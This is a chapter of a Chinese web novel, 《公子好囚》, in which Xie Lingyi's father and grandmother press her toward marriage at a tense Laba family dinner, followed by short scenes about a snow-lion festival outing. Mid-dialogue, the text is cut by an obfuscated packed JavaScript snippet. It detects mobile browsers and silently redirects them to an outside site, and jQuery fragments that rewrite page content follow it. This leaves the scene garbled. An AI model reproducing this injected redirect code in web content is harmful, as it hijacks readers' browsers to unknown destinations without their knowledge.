39. 腊八思她
作品:《公子好囚》 谢令仪这么一沉默,便沉默到了年关。谢府也逐渐忙碌起来,又是准备开宗祭祠,又是准备吃年酒,发押岁锞子。
戌风院红彤彤一片,檐下挂着的都是谢令仪亲自写的福字。还有几个小丫鬟在张罗着贴窗花,门神。
谢令仪埋头画画的功夫,谢郜氏的贴身嬷嬷听竹就扬着笑脸,跨进来了。
她先是对谢令仪说了几句吉祥话,又将屋里叽叽喳喳的几个小丫头一并赶了出去,方笑道:“老夫人知道姑娘您平日里忙,本也不欲打扰。可这满府人里,就属您的字写的最好,挂上去也最有排面。”
“思来想去,还是命老奴过来,请大小姐笔墨,写上几副对联,也好贴到咱们大门上。”
谢令仪闻言,题完书画日期,才放下手中狼毫,颔首道:“嬷嬷赞誉了,这本就是容君分内之事。即使祖母不提,容君也会照办。对联前两日就已写好,喏,就在那放着。”
她一伸手,指向屏风架旁的白釉素面陶瓷缸,望向听竹的目光中带着些许歉意,“只是这两日一直大雪,路不好走,我也没来得及送过去,还劳烦嬷嬷亲自跑这一趟,是容君疏忽了。”
世家嫡女还如此给她一个下人面子,听竹听了心中自是舒坦,脸上笑意更深。耳软心热之际,便也多嘴了几句。
“大小姐模样俊俏,心肠也好。老夫人也常跟老奴念叨,真不知谁家能有这个福气,能娶了她。”
“今晚的腊八宴,都是自家人。老夫人肯定又会念叨这事,另外……”她望了眼门外,捏着嗓子,低声道:“大爷那边,好像还给老夫人,送了几本男子画册。听说那上面画的都是上京望族子弟。大小姐您若是无意于此,可得早做准备。”
“好。”谢令仪听完心中一紧,没想到自己随口几句话,竟还无意间得了这个消息。她当即对听竹微微福身,“容君晓得了,多谢嬷嬷告知。”
也怪自己大意,以为谢承这几个月不来找自己,就没事了。谁知,他竟直接去打通了老太太关节。
“哎,哎,大小姐您这是做什么,快起来,快起来。”听竹见状,脸上惶恐,忙伸手扶她,“您这可真是折煞老奴了。”
“璞玉。”
谢令仪起身之后,便高声唤屋外的璞玉进来,“你带着这些对联,好生送嬷嬷回去,另外。”她顺手抓两粒圆桌上的梅花金锞子递给听竹,“这些小玩意儿,不成敬意,就当是提前给嬷嬷的贺岁礼了。”
听竹推辞几番后,便喜滋滋地接下,由着璞玉送她出去。
璞玉再度回来时,就见自己小姐歪在榻上,连画都不画了,闷闷不乐地逗鹦鹉玩。
这黄皮鹦鹉,还是张家人为了感念二小姐祈福会提醒之恩,着人送过来的。一并提过来的,还有几盒时兴糕点,十匹丝帛等物。
但他们不知道,谢念合因三岁左右被院中飞鸟啄伤,此后,她便最怕这种尖嘴鸟类。这鹦鹉辗转几道,最终被送到了谢令仪院子。
如今被养的油光水滑,连振翅都吃力。
“回来啦?”
“对呀,小姐。”
“外面冷不冷?”
“外头雪都化了,一点儿也不冷。”璞玉口中哈着白气,见小姐关心她,听完心里暖呼呼的。
“既然不冷,那就再出去一趟,把瓷缸里写了曲知意名字的对联,送到她府上去。”
璞玉:“......”
璞玉叹声气,认命地撸起袖子,弯腰在缸里挑挑拣拣,抱了满怀。
“小姐。”她努力伸长脖子,仰头问,“那这里还有几幅没写名字的福帖,也要一并送去吗?”
“咦,最底下还有一张黑猫图呢。”
谢令仪闻言,指尖一顿,“不用。”
“哦,不用那干嘛浪费时间写呀……”
谢令仪:“......”
璞玉以为她嗓门小,说话没人听见,不妨先前屋里吵闹的丫头都不在。而谢令仪呢,手上虽逗着鹦鹉,实则耳朵竖起,注意力一直在她那边,听到这话,脸上顿时浮出羞恼。
“我乐意!”
哦。
乐意就乐意,声量这么大做什么。她如今倒真看不懂小姐这脾气了,摇摇头,不打算惹祸上身,静悄悄就往外走。
“等等。”
谢令仪又拦住她,从袖口掏出鸭掌印,给曲知意的几幅对联盖上。
“行了,去吧。”想了想,她又道:“剩下的字画也都拿走吧,全送到言玉铺子去。”
“啊,白送啊。”璞玉傻眼。
“......不白送,跟掌柜的说,十幅画,他自然就会明白了。”
——
约摸晚膳时分,谢郜氏亲自着人来请。谢令仪到的时候,各院之人陆续抵达。屋内碳火烧得正旺,空气中弥漫着若有如无的檀香。
主院厅堂摆了一桌,谢家人丁单薄,连一圈都坐不满。谢郜氏无奈,只得强拉谢翊兄妹俩凑数,勉强凑了个‘九九同心’的吉祥寓意。几波人寒暄过后,照旧是安心等着谢郜氏说话。
“祖母,等过年了,是不是就要给念念和大姐姐、玉章姐姐、明棠哥哥押岁钱了?”
谢念合人小鬼大,不等谢郜氏开口,便急着道。满屋子人皆被她这番童言童语逗得哈哈大笑。
何夫人也莞尔,眼中满是宠溺。
“你这虎丫头,总少不了你的。”谢郜氏闻言,满脸慈祥,食指轻点她额头。
谢念合今日穿了件赤金百蝶撒花袄,颈间围了一圈华贵的银鼠皮,头上还戴了个红彤彤的虎皮帽。看模样,的确是个气势汹汹的虎丫头。
“嘿嘿。”谢念合被戳的脑袋一歪,眼珠子一转,便高声喊,“那念念要最大份的!”
谢郜氏笑得更是慈祥,眼睛都眯成半条缝,怜爱道:“好好好,祖母答应你,你的一定是最大的。”
“不过。”她顿了顿,话锋又一转,“这话又说回来。”
众人一听她这话,便知重头戏来了,忙放下筷子,听她说。
“往年要押岁钱的,都是容君和念合两人,今年。”她看了谢翊兄妹一眼,笑道:“明棠和玉章来了,这家里总算热闹了些。”
“只不过,我总觉得,家里人还是太少。你们看,旁人过年,总是一大家子围坐,人声鼎沸的。”
“咱们家能闹腾的,也只有念念一人。”
“我才不闹腾。”谢念合听了,鼓起脸颊,小声嘟囔。
谢郜氏八方不动,假装没听到,继续道:“你们年纪都不小了,尤其是容君,过了年,又大一岁。这婚事也该提上日程了。”
“正好你父亲前几日整理了一些男子画册,你今日就在这看。有中意的,若是不好意思,就私下跟祖母说。”
“玉章你也过来看。”她朝谢琼招手。
谢琼望了兄长一眼,见他不反对,便也慢腾腾移步过去。
这是刀架在脖子上了,谢令仪没法子,本以为埋头装鹌鹑就能逃过一劫。没想到老太太还是不放过她。
眼见着画册已经递在手边了,谢令仪无奈只得硬着头皮,一页一页翻过去。直到册子见了底,谢郜氏的脸也由喜转忧,不敢置信。
“一个能入眼的都没有?”
谢令仪眼睑低垂,不着一言。但她的沉默,如雷贯耳。
席间气氛瞬间凝滞,连一向活泼的谢念合也不敢再随意卖乖,安安静静窝在冯夫人怀里,眼睛看着姐姐,又看看祖母,有些不知所措。
“行了。”谢承沉默良久,突然发难,他脸色铁青,重重放下酒杯,“自古以来,婚姻大事,父母之命媒妁之言。”
“咱们家还能让你选,已是恩赐。这么多年书,都读到狗肚子里去了吗?祖母年岁已高,还要整日为你的事操劳,谁家儿女能做到你这份上?”
这话说的太重,冯氏见状,心中一急,忙伸手轻扯他衣袖,“老爷……今日是家宴,就别......”
此话一出,谢承顿时火冒三分,他瞪了冯氏一眼,直接一拍桌子站起来,“家宴?她还知道今日是家宴?她眼里还有这个家吗?”
冯氏也随着他一同站起来,战战兢兢捏紧衣袖。
“行了!”谢郜氏听完,皱着眉头终于开口,“吵吵嚷嚷像什么样子?她不像女儿,你未必就像父亲。”
“我......”
谢郜氏点到为止,说完便疲倦挥手,“都坐下,吃饭。”
“是是是,大哥您先消消气,不看僧面看佛面不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868367|152800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?今儿个可是腊八,别伤了和气。”何夫人也极有眼色地站起来劝他,说罢,她便手肘一捅,身侧只一味吃菜的丈夫。
谢岱反应过来,忙擦掉嘴角的油花,捋捋胡子,“夫人说的对,大哥,咱们都是一家人,好不容易聚在一起吃顿饭,何苦发这么大火。你看,再不吃,这菜都凉了。”
冯夫人:“......”
谢翊兄妹虽未说话,也是一脸担忧。
有了众人打圆场,谢承也不好再执拗下去。看了眼谢令仪,满脸郁火,一甩衣袍,重新落座。
“来来来,大哥喝酒喝酒。”谢岱又游刃有余劝他。
——
“应主子是不喜欢喝酒吗?今儿可是腊八节。按习俗,得喝腊八酒,吃腊八粥。”一花奴指着圆桌上的酒食小声劝他,“几个月了,您一直食欲不振。这些都是芸娘特意做的,也不知合不合您胃口。”
“不是。”闻应祈望着那琳琅满目,香飘四溢的吃食,躺在榻上,眼底掀不起半点波澜,浑身麻木,如行尸走肉,“你们先出去。”
“哎,好。”
“对了。”花奴转身之际,又犹豫道:“应主子,奴婢过几日能请一天假么?腊月十三,上京到时候会有雪狮节,大家都想去看看。”
“雪狮节?”闻应祈耳根一动,“那是什么节日?去的人多吗?”
“就是在翠湖堆雪狮,放雪灯,讨个节日喜庆意头。一年一次,去的人应该多吧。”
“嗯,那那些达官贵族也会去吗?”
“这个就不知道了,左右就是去了,身份不同,大家也玩不到一遭去。”
“应主子要去的话,奴婢们可帮您想想办法。”
闻应祈这回倒是没吭声,只是眼神又黯淡了几分。
——
“大姐姐,你说祖母会让我们去堆雪狮吗?”谢念合趴在榻上,愁的小脸都皱成了一团。
过了腊八,学堂放假。她闲来无事,便整日待在戌风院。那只可怜的黄皮鹦鹉,受累被关了好几日柴房。
“不知道呀。”谢令仪正专心给手中的沉香珠刻字,闻言,头也不抬道:“不如,念念再去求求祖母,说不定我们大家都能沾你的光啦。”
“我去了呀。”她见谢令仪不理她,光着脚便从榻上翻下来,拉住她衣袖,“我每日早晚请安,都求了祖母的。可祖母老是敷衍我,没说几句话就叫头疼,让嬷嬷抱我回去。”
“那大姐姐就没办法了。”
“好吧。”谢念合闻言,有些沮丧,见她还在刻珠子,便道:“那大姐姐为什么老是在刻这些珠子?我看你都刻了好几天了,是刻好了要送给念念吗?”
“呃......”
谢令仪闻言有些沉默,该怎么说呢。
沉香珠正念清神,做成手串有行气入定,助眠之效。给念念,实在是暴殄天物。
所以她只能昧着良心道:“大姐姐改日再给你做一个虎头手串好不好?这个另有用处。”
“好!”
恰好这时,听竹来送莲藕老鸭汤,顺道还带了个好消息,谢郜氏允许他们去堆雪狮,不过得多带些护院,还要把谢翊兄妹给捎上。
“哇!”
谢念合听了,霎时高兴得原地转圈,仰着笑脸问听竹,“听竹嬷嬷,祖母是不是被念念说动了?心疼念念待在家里无聊?”
“是是是。”听竹意有所指看了谢令仪一眼,忍俊不禁道。
“好了,既然话已带到,老奴也就先回去伺候老夫人了。”听竹说完,弯腰做了个告辞姿势,“这汤还热着,大小姐可别忘了喝。”
“嗯,嬷嬷慢走。”谢令仪点头,使了个眼色,招呼璞玉送她出去。
璞玉小心搀着听竹手臂,待走出院门,才状似无意地开口,“嬷嬷,雪天路滑,您当心点。您瞧,我方才不就差点滑倒了?”
她略一停顿,又接着道:“不过,这说来也怪,不是说二小姐一直想去看堆雪狮,缠了好多日,老夫人都没松口么,怎么这次就突然答应了?”
听竹察觉到她心思,便也顺水推舟道:“上次那画册上,好像独独漏掉了张家公子。这次,许是打听到了他也去吧。”
璞玉听完,但笑不语。